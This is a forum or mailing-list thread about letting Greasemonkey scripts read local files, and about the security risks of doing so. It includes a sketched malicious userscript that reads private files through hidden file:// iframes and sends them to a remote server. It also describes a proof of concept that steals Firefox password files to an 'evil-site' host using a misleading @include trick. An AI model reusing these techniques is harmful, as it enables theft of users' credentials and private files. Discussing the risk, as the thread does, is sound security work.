How to let greasemonkey read user parameters from local text file?
Ben Stover
If yes: Could you give a sample code to read e.g. the first and second line of a text file from
D:\myproj\greaseparm.txt
and assign them to the greasemonkey script variables
var first = ....
and
var second = ....
Thank you
Ben
Anthony Lieuallen
> Is it possible to let greasemonkey read .. from .. the local hard
> disc?
No.
Madepally Kiran
In anycase arbitrary local files cant be read cuz of security restrictions :).
BD
If you have a JSON object data structure in the text file, you can easily set the values using eval(). Or, to be safe, get one of the JSON libraries and "do it right". ('safer' than eval) Or make up your own storage data structure and parse it yourself. Whatever. There are a lot of ways to do it.
If you do something like: (this will cause a "flash" in the browser if you save and reload the file, which would also have to be checked for so it doesn't execute in an infinite loop, so you will have to mess with it somehow to make it all work better -- maybe create an inline frame to do it?)
window.location = "file:///C:/temp/textvars.txt";
var sJSON = window.document.body.innerHTML; // you will have to remove leading and trailing <pre> tags
var oJSON = eval (sJSON);
Madepally Kiran
In this case, we would be asking the user to provide access to the local files by showing him that the "file://" entry on the include portion - there is no guarantee he would take it seriously :P.
In any case, it would be a potential security risk. Even if it is barely read-only, one could compromise any critical file and perhaps post the message online. I think it would be recommended to allow the "chrome://" protocol (even that is a security risk, but it may be moderate since it is limited to the firefox extensions - or one could limit it further to some namespace for the extension), rather than the "file://", which would give access to the whole file system.
Next, about appending an iframe - its will not be accessible (will be considered as cross-domain); atleast, thats how it should work. It is the security requirement when using HTML directly.
Yeah, for now, you can open a seperate tab or a popup window and do the task. It should work. But lets hope it doesn't work later :). May be we need some sort of security enhancements to deal with this issue.
-Kiran
BD
There is a trick that is sometimes used to freak non-computer savvy people out. Make a link to file:///C:/ and tell people to click on it and then claim that you can see everything on their hard drive. People who don't know how these things work tend to freak out and think they've been hacked. It's good for a laugh.
Because it's a read-only situation, and you can't automatically set up that file, the user would have to do it manually, it is only good for certain things. It would be doable for a computer-savvy person to use, but not a newbie or others like that who can barely turn their computer on, which is the greater majority of people.
I haven't tried the iframe thing, but I can see where it might be a problem. I'd have to try it and mess with it to be sure, but I don't have the time or interest. Even a pop-up window might have similar problems. I tried to open a window in the script and it failed, so maybe that won't work in scripts. Again, I would have to mess with it. There are usually work-arounds.
That's why there are the Gm_getValue and Gm_setValue functions to store and retrieve data for scripts.
Madepally Kiran
Madepally Kiran
Anthony Lieuallen
> The only person who can view file:/// content is you...
Imagine I am a malicious script author.
// ==UserScript==
// @name Private Content Stealer
// @include *
// ==/UserScript==
if ('file:'==document.location.protocol) {
// Transmit private data to my server!
GM_xmlhttpRequest(...);
} else {
// Make an iframe to a private file, which I will run on.
createHiddenIframe('file:///a/file/with/private/contents/here.txt');
}
Private files stolen. This is why there is a security dialog, which
presents the @include rules to you, before you install.
Madepally Kiran
Madepally Kiran
BD
esquifit
a year ago. It is actually even worse, if you think a little about it.
I was waiting until some changes suggested by Aaron were implemented
that would affect the way script are tell were to run on.
Unfortunately these efforts went to no end.
Since this is already public, I can provide a proof of concept. The
initial inspiration came from a script of a japanese hacker that used
a trick to read your profile folder from a Greasemonkey script. I
used the idea to craft a script that would take your FF password files
and send it to a remote server. My intention was to make this as
unnoticed as possible, but there are a number of technical problems
that (fortunately) prevent the script from totally hiding the script
malicious actions.
Attached you' find the script. It is Windows only because it relies in
the windows file path structure. It can be easily adapted to other OS.
My first version was for text files only. This version is capable of
stealing binary files as well.
In the script I'm using some other techniques such as inducing a naive
user to think that the script runs only on a given domain by using
something like @include *.wikipedia.og, while in reality the script
can be triggered by loading file://something/else#foo.wikipedia.org as
well.
Note: the script uses a server side script of mine at
http://evil-site.appjet.net/ for receiving the stolen files.
Unfortunately appjet discontinued this service starting on July 1st
2009. The script it still illustrative.
Enjoy.